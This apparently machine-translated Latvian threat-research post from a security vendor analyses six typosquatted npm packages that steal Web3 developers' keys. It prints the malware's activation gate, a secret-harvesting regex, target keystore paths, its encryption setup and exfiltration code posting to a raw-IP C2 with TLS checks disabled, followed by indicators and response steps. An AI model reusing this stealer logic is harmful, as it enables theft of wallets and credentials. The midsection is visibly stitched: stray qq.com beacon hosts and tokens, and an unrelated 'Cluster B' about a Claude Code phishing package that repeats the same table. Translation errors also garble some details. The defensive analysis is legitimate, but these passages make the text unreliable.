EVMDeFi npm typosquatting uzbrukums nozog izstrādātāja atslēgas

EVM/DeFi npm typosquatting uzbrukums nozog izstrādātāja atslēgas

TL; DR

2026. gada 6. maijā viens npm izdevējs namikazesarada010206, izlaida sešas ļaunprātīgas pakotnes, kas bija vērstas pret Ethereum, Solidity un DeFi izstrādātāju ekosistēmu.

Paketes, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, un web3-utils-core, izmantoja ticamus nosaukumus, kas veidoti tā, lai izskatītos kā palīgbibliotēkas populāriem Web3 rīkiem.

Visos sešos iepakojumos bija viens un tas pats telemetry.js fails. Fails bija baiti identisks visā klasterī ar SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Ļaunprogrammatūra netiek palaista instalēšanas laikā. Nav tādas preinstall or postinstall āķis. Tā vietā tas aktivizējas, kad pakotne tiek importēta, izmantojot require().

Šī detaļa ir svarīga.

Implants gaida, līdz izstrādātājs faktiski izmanto pakotni. Pēc tam tas pārbauda, ​​vai darbstacija izskatās pēc īstas Ethereum/Solidity izstrādes vides. Tas meklē Alchemy vai Infura atslēgas, privātās atslēgas, mnemoniku, izvietotāja atslēgas vai lokālo Foundry direktoriju.

Ja resursdators sakrīt, zaglis apkopo SSH privātās atslēgas, Foundry/Geth/Brownie maka atslēgu krātuves, .env* failus un sensitīvus vides mainīgos. Tas šifrē pakotni ar AES-256-GCM, izmantojot cietkodētu paroli, un izfiltrē to uz neapstrādātu IPv4 C2 galapunktu ar atspējotu TLS verifikāciju.

Xygeni ļaunprogrammatūras agrīnās brīdināšanas (MEW) sistēma apstiprināja, ka visas sešas pakotnes ir ļaunprātīgas. npm reģistra noņemšanas ziņojumu pakete vēl nav pabeigta.

Klasteris: seši iepakojumi, viens izdevējs

Izdevēja konts namikazesarada010206 bija saistīts ar neverificētu Gmail adresi namikazesarada010206@gmail.com.

Kampaņa parādījās kā vienas dienas publikāciju sērija 2026. gada 6. maijā. Visas sešas pakotnes tika versijas kā 1.0.0, nebija nekādu izpildlaika atkarību un tika nosūtīti tikai trīs faili:

package.json index.js telemetry.js

Viņi arī deklarēja to pašu avota krātuvi:

https://github.com/harunosakura030303-maker/evmchain-config

Pirmās trīs pakotnes MEW skeneri uztvēra jau pirmajā publikācijā. Atlikušās trīs tika piespiedu kārtā atzīmētas pēc tam, kad analītiķi pārskatīja izdevēja npm profilu. Tiklīdz tie paši baitidentiskie telemetry.js tika apstiprināts visā klasterī, tie konsekvences dēļ tika slēgti kā ļaunprātīgi.

Pakete versija npm Publicēts MEW biļete Spriedums
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Ļaunprātīga
viem-utils-core 1.0.0 2026-05-06 #51050 Ļaunprātīga
hardhat-core-utilīti 1.0.0 2026-05-06 #51051 Ļaunprātīga
evm-utils 1.0.0 2026-05-06 #51069 Ļaunprātīgs pēc konsekvences
lietuves utilitātes 1.0.0 2026-05-06 #51071 Ļaunprātīgs pēc konsekvences
web3-utils-core 1.0.0 2026-05-06 #51070 Ļaunprātīgs pēc konsekvences

Nosaukumu stratēģija ir vienkārša, bet efektīva.

Šīs pakotnes neiemieso precīzus augšupējo serveru nosaukumus. Tā vietā tās izmanto ticamus “utilitātes” sufiksus, piemēram, -core, -utils, un -utils-coreTas liek tām izskatīties pēc pavadošajām bibliotēkām, kuras izstrādātājs varētu sagaidīt līdzās Web3 rīkiem.

Ļaunprātīga pakotne Likumīgs mērķis
viem-core viem, populārs Ethereum TypeScript klients
viem-utils-core Vīm
hardhat-core-utilīti hardhat — plaši pazīstama Solidity izstrādes vide
evm-utils Vispārīgā EVM rīku nosaukumtelpa
lietuves utilitātes lietuve, Solidity instrumentu ķēde
web3-utils-core web3 utilīti, Web3.js palīgi

Šis ir “papildu paketes” modelis: nevis “es esmu īstā pakete”, bet gan “es izskatos pēc saprātīga palīga īstās paketes tuvumā”.

DeFi izstrādātājiem, kas rīkojas ātri, tas ir pietiekami, lai radītu risku.

Kas notiek, kad pakotne tiek importēta

Uzbrukumu ķēde ir maza, apzināta un vērsta uz kriptovalūtu izstrādes vidēm.

Nav uzstādīšanas āķa. Tā vietā katrā iepakojumā ir iekļauts index.js kas eksportē stupa funkcionalitāti un pēc tam ielādē ļaunprātīgo telemetrijas moduli.

require('./telemetry').init();

Tas nozīmē, ka ļaunprogrammatūra aktivizējas pirmās importēšanas laikā.

Tas ir operacionāli noderīgi uzbrucējam. Daudzi skeneri un smilškastes koncentrējas uz instalēšanas laika uzvedību. Šī pakotne gaida, līdz to faktiski izmanto izstrādātājs, būvēšanas skripts, testēšanas komplekts vai izpildlaika ceļš.

Aktivizācijas vārti: aktivizēt tikai īstās Web3 izstrādātāju darbstacijās

Vissvarīgākā implanta daļa ir aktivācijas vārti.

Ļaunprogrammatūra pārbauda vides mainīgos, kas parasti atrodami Ethereum/Solidity izstrādātāju datoros:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Tā arī pārbauda, ​​vai Foundry ir instalēta:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ja neviens no nosacījumiem nav patiess, funkcija atgriež vērtību un neko nedara.

Tas padara pakotni klusāku vispārīgās analīzes vidēs. Smilškaste bez Foundry, Alchemy atslēgām, Infura atslēgām, privātajām atslēgām vai mnemonikas var redzēs nekaitīgi izskatīgu importu.

Atbilstošā resursdatorā ļaunprogrammatūra gaida 60 līdz 90 sekundes pirms apkopošanas:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Kavēšanās samazina acīmredzamo korelāciju starp importu un izfiltrāciju. .unref() izsaukums arī ļauj resursdatora procesam iziet normāli, ja pakotne tika importēta īslaicīgā skriptā.

Šī nav trokšņaina "smash-and-grab" uzvedība. Tā ir mērķtiecīga "zagšanas" metode, kas izstrādāta, lai izvairītos no palaišanas, ja vien izstrādātāja vide nav zagšanas vērta.

Ko zaglis kolekcionē

Kad aktivizācijas vārti ir izgājuši, ļaunprogrammatūra apkopo no avotiem, kuriem ir vissvarīgākie Web3 izstrādē: privātās atslēgas, maka atslēgu krātuves, izvietošanas akreditācijas datus, mākoņa noslēpumus, npm žetonus un lokālā projekta konfigurāciju.

avots Kas tiek apkopots
process.env Jebkurš mainīgais, kas atbilst /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Faili, kas satur PRIVATE KEY vai BEGIN OPENSSH, ieskaitot pilnu faila saturu
~/.foundry/atslēgu krātuves/* Foundry maka atslēgu krātuves faili
~/.ethereum/atslēgu krātuve/* Geth maka atslēgu krātuves faili
~/.brownie/accounts/* Brownie maka atslēgu krātuves faili
${cwd}/.env Pilns faila saturs
${cwd}/.env.local Pilns faila saturs
${cwd}/.env.production Pilns faila saturs
${cwd}/.env.development Pilns faila saturs
os.hostname() Resursdatora metadati
kripto.nejaušs UUID() Upura/sesijas identifikators
Datums.tagad() Kolekcijas laika zīmogs
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA žetoni ir:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Mēs neesam spējuši apstiprināt, vai telemetrija bija operatora paša analītika vai atsevišķi monetizēts kanāls. ATTA žetoni abos mūsu pārbaudītajos paraugos ir vienādi.

B klasteris: heibai

claude.hk OAuth pikšķerēšana + ANTHROPIC_BASE_URL nolaupīšana

1. aprīļa paraugs ir kampaņas rupjākā, agrākā daļa.

heibai:2.1.88-claude.hk-4 publicēja wuguoqiangvip28, konts, kas izveidots 2025. gada 7. jūnijā. Pakotne nepārprotami veidoja savu versiju pret likumīgo 2.1.88 Antropo atbrīvošana.

Tas neapgrūtina sevi ar CA sertifikāta MITM. Tā vietā tas lietotājam sniedz melus par OAuth galapunktu.

Ļaunprātīgie papildinājumi nopludinātajam Claude Code avotam ietver:

avots Kas tiek apkopots
process.env Jebkurš mainīgais, kas atbilst /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Faili, kas satur PRIVATE KEY vai BEGIN OPENSSH, ieskaitot pilnu faila saturu
~/.foundry/atslēgu krātuves/* Foundry maka atslēgu krātuves faili
~/.ethereum/atslēgu krātuve/* Geth maka atslēgu krātuves faili
~/.brownie/accounts/* Brownie maka atslēgu krātuves faili
${cwd}/.env Pilns faila saturs
${cwd}/.env.local Pilns faila saturs
${cwd}/.env.production Pilns faila saturs
${cwd}/.env.development Pilns faila saturs
os.hostname() Resursdatora metadati
kripto.nejaušs UUID() Upura/sesijas identifikators
Datums.tagad() Kolekcijas laika zīmogs

Mērķu saraksts ir ļoti specifisks. Tā nav vispārēja pārlūkprogrammas zādzība vai plaša akreditācijas datu ieguve. Tas ir paredzēts izstrādātājiem, kuri veido, testē, ievieš vai pārvalda Ethereum lietojumprogrammas.

Īpaši svarīgi ir iekļaut Foundry, Geth un Brownie atslēgu krātuves. Šie faili var nodrošināt tiešu piekļuvi makiem vai izvietošanas identitātēm. Ja uzbrucējs var tos savienot kopā ar parolēm, mnemoniku vai vides noslēpumiem, viņš, iespējams, varēs pārvietot līdzekļus, uzdoties par izvietotājiem vai apdraudēt viedlīgumu darbības.

Šifrēšana pirms eksfiltrācijas

Ļaunprogrammatūra šifrē apkopotos datus pirms to nosūtīšanas.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Cietkodētā parole ir:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Galīgā slodze tiek ietīta kā JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifrēšana pati par sevi nepadara ļaunprogrammatūru sarežģītāku. Tomēr tā apgrūtina tīkla pārbaudi. Aizsargs, kas novēro izejošo datu plūsmu, redzētu JSON vērtumu, bet ne nozagtās atslēgas, maka failus vai citus datus. .env saturs bez cietkodētās paroles un atšifrēšanas loģikas.

Eksfiltrācija uz neapstrādātu IPv4 C2

Eksfiltrācijas ceļš ir cieti kodēts:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Ļaunprogrammatūra nosūta datus uz:

https://76.13.37.80:8443/api/v1/telemetry

Izceļas divas detaļas.

Pirmkārt, C2 ir neapstrādāta IPv4 adrese, nevis domēns. Tas novērš nepieciešamību pēc domēna reģistrācijas un novērš dažas uz domēnu balstītas noteikšanas.

Otrkārt, TLS verifikācija ir atspējota ar:

rejectUnauthorized: false

Tas ļauj ļaunprogrammatūrai pieņemt jebkuru sertifikātu, tostarp pašparakstītus sertifikātus. Citiem vārdiem sakot, uzbrucējs iegūst šifrētu datu pārraidi, neprasot derīgu publisku sertifikātu.

Nav atkārtotas mēģināšanas loģikas un nav rezerves resursdatora. Kļūdas tiek nemanāmi ignorētas. Tas nodrošina, ka pakotne nedarbojas, ja C2 ir bezsaistē vai nesasniedzams.

Kāpēc šī kampaņa ir svarīga

Lielākā daļa ļaunprātīgo npm pakotņu, kas paredzētas izstrādātājiem, izmanto plaša profila akreditācijas datus: npm žetonus, AWS atslēgas, GitHub žetonus vai .npmrc faili.

Šī kampaņa sašaurina mērķauditoriju.

Tas meklē pazīmes, ka iekārta pieder Ethereum vai Solidity izstrādātājam. Pēc tam tas izvelk tieši tos resursus, kuriem ir nozīme šajā vidē: maka atslēgu krātuves, privātās atslēgas, mnemoniku, izvietotāja atslēgas, .env faili un SSH atslēgas.

Tas padara kampaņu bīstamāku Web3 komandām nekā vispārēju npm zagli.

Veiksmīga inficēšanās var atklāt:

  • Izvietošanas maki
  • Viedā līguma administratora atslēgas
  • RPC nodrošinātāja atslēgas
  • Mākoņa izvietošanas akreditācijas dati
  • npm publicēšanas žetoni
  • SSH piekļuve izstrādātāja vai būvējuma infrastruktūrai
  • Projekta noslēpumi glabājas .env faili
  • Maka atslēgu glabātuves Foundry, Geth vai Brownie spēlēm

Arī pakotņu nosaukumi skaidri parāda sociālo inženieriju. Tie ir vērsti uz Web3 izstrādātāju ekosistēmu, izmantojot pazīstamus rīku nosaukumus: viem, hardhat, foundry, evm, un web3.

Dalībniekam nav jāapdraud reālie projekti. Viņiem tikai nepieciešams izstrādātājs, lai instalētu kaut ko līdzīgu saprātīgai pavadošajai pakotnei.

Kompromitācijas un atklāšanas indikatori

Pakotnes un izdevējs
Lauks Vērtība
npm izdevējs namikazesarada010206
Izdevēja e-pasts namikazesarada010206@gmail.com
E-pasts verificēts
SCM pārbaudīts
Reputācijas rādītājs 1.0
Paketes viem-core, viem-utils-core, hardhat-core-utils, evm-utils, liešanas-utils, web3-utils-core
versijas Visi 1.0.0
Avota krātuve https://github.com/harunosakura030303-maker/evmchain-config
Apstiprināts ļaunprātīgs Visas sešas paketes
tīkls
Veids Vērtība
C2 galapunkts https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 ports 8443/tcp
TLS darbība noraidītNeautorizēts: false
Derīgās slodzes shēma {"v":2,"iv": ,,d": ,"t": }
Faili un jaucējkodas
Veids Vērtība
telemetrija.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Iepakojuma izkārtojums package.json, index.js, telemetry.js
Failu skaits 3
Aptuvenais kopējais izmērs 3.4 KB

Aktivizācijas signāli

Ļaunprogrammatūra pārbauda šādus vides mainīgos:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Tā arī pārbauda:

~/.foundry/

Mērķtiecīgi resursdatora ceļi

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kolekcijas regulārā izteiksme

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Noteikšanas piezīmes

Vairāki noteikumi aptver šo kampaņu bez nepieciešamības pēc pilnīgas uzvedības analīzes.

Vispirms skenējiet bloķēšanas failus, lai atrastu sešus ļaunprātīgu pakotņu nosaukumus:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Jebkura spēle package-lock.json, yarn.lock, pnpm-lock.yaml, vai node_modules vēsture jāuztver kā nopietns notikums.

Otrkārt, uzraugiet Node.js procesus, kas lasa maka atslēgu krātuves ceļus:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Šāda rīcība reti ir likumīga pakotnei, kas importēta kā palīgatkarība. Tā ir īpaši aizdomīga, ja tai seko izejošā tīkla aktivitāte.

Treškārt, bloķējiet vai brīdiniet par HTTPS savienojumiem ar:

76.13.37.80:8443

It īpaši, ja pieprasījuma ceļš ir:

/api/v1/telemetry

Ceturtkārt, meklējiet npm pakotnes, kas apvieno šīs īpašības:

  • Jauns vai zemas reputācijas izdevējs
  • Nepārbaudīts Gmail konts
  • Web3 blakus esošās pakotnes nosaukums
  • Nav nozīmīgas repozitorija vēstures
  • Neliela iepakojuma izkārtojums
  • index.js kas ielādē telemetrijas vai palīgfailu
  • Nav izpildlaika atkarību
  • Jūtīga vides mainīgo kolekcija
  • Piekļuve maka atslēgu krātuvei

Šis modelis ir noderīgāks nekā viena IOC, jo nākamā pakotne var mainīt IP adresi, bet saglabāt to pašu mērķauditorijas atlases loģiku.

Kompromisa atbildes kontrolsaraksts

Ja izstrādātājs izmantoja vienu no sešām pakotnēm un viņa vide atbilda aktivizācijas vārtiem, darbstacija jāuzskata par apdraudētu.

Tas ietver mašīnas ar instalētu Foundry, Alchemy vai Infura atslēgas vidē, privātās atslēgas, mnemoniku vai izvietotāja atslēgas.

Ieteicamā atbilde:

  • Atvienojiet resursdatoru no tīkla.
  • Saglabāt node_modules, bloķēšanas failus, čaulas vēsturi un attiecīgos žurnālus forenzikai.
  • Rotēt katru SSH atslēgu pāri zem ~/.ssh/.
  • Rotēt maka atslēgas katrai atslēgu krātuvei sadaļā ~/.foundry, ~/.ethereum, un ~/.brownie.
  • Pārskaitiet līdzekļus uz jauniem makiem.
  • Pagrieziet katru saglabāto noslēpumu .env* faili repozitorijos, kuros izstrādātājs strādāja.
  • Rotējiet vides noslēpumus, kas atbilst kolekcijas regulārajai izteiksmei, tostarp AWS atslēgas, npm žetonus, izvietošanas žetonus, API atslēgas, privātās atslēgas, sēklas un mnemoniku.
  • Audita mākoņa, npm, GitHub, RPC pakalpojumu sniedzēja un blokķēdes aktivitātes kopš pakotnes pirmās instalēšanas.
  • Pirms atkārtotas lietošanas atkārtoti izveidojiet darbstacijas attēlu.

Kas aizstāvjiem būtu jāņem līdzi

Šī kampaņa parāda, kā npm typosquatting attīstās augstas vērtības izstrādātāju ekosistēmās.

Aktierim nebija nepieciešama neatlaidība. Viņiem nebija nepieciešama obfuskācija. Viņiem pat nebija nepieciešama izpilde instalēšanas laikā.

Tā vietā viņi paļāvās uz trim lietām:

  • Iespējamie Web3 pakotņu nosaukumi
  • Aktivizēšana tikai reālās kriptovalūtu izstrādes ierīcēs
  • Tieša failu un noslēpumu zādzība, kas ir vissvarīgākie Ethereum izstrādātājiem

Tas padara kampaņu viegli nepamanāmu plašā skatījumā un bīstamu, kad tā nonāk pareizajā vidē.

Web3 komandām mācība ir skaidra: uztveriet atkarību nosaukumus kā daļu no sava draudu modeļa. Pakotne, kas izskatās pēc nekaitīga palīga, joprojām var kļūt par īsāko ceļu uz maka kompromitēšanu.

Ziņots npm reģistram. Mēs atjaunināsim šo ierakstu, kad izdevēja konts un pakotnes tiks noņemtas.

sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu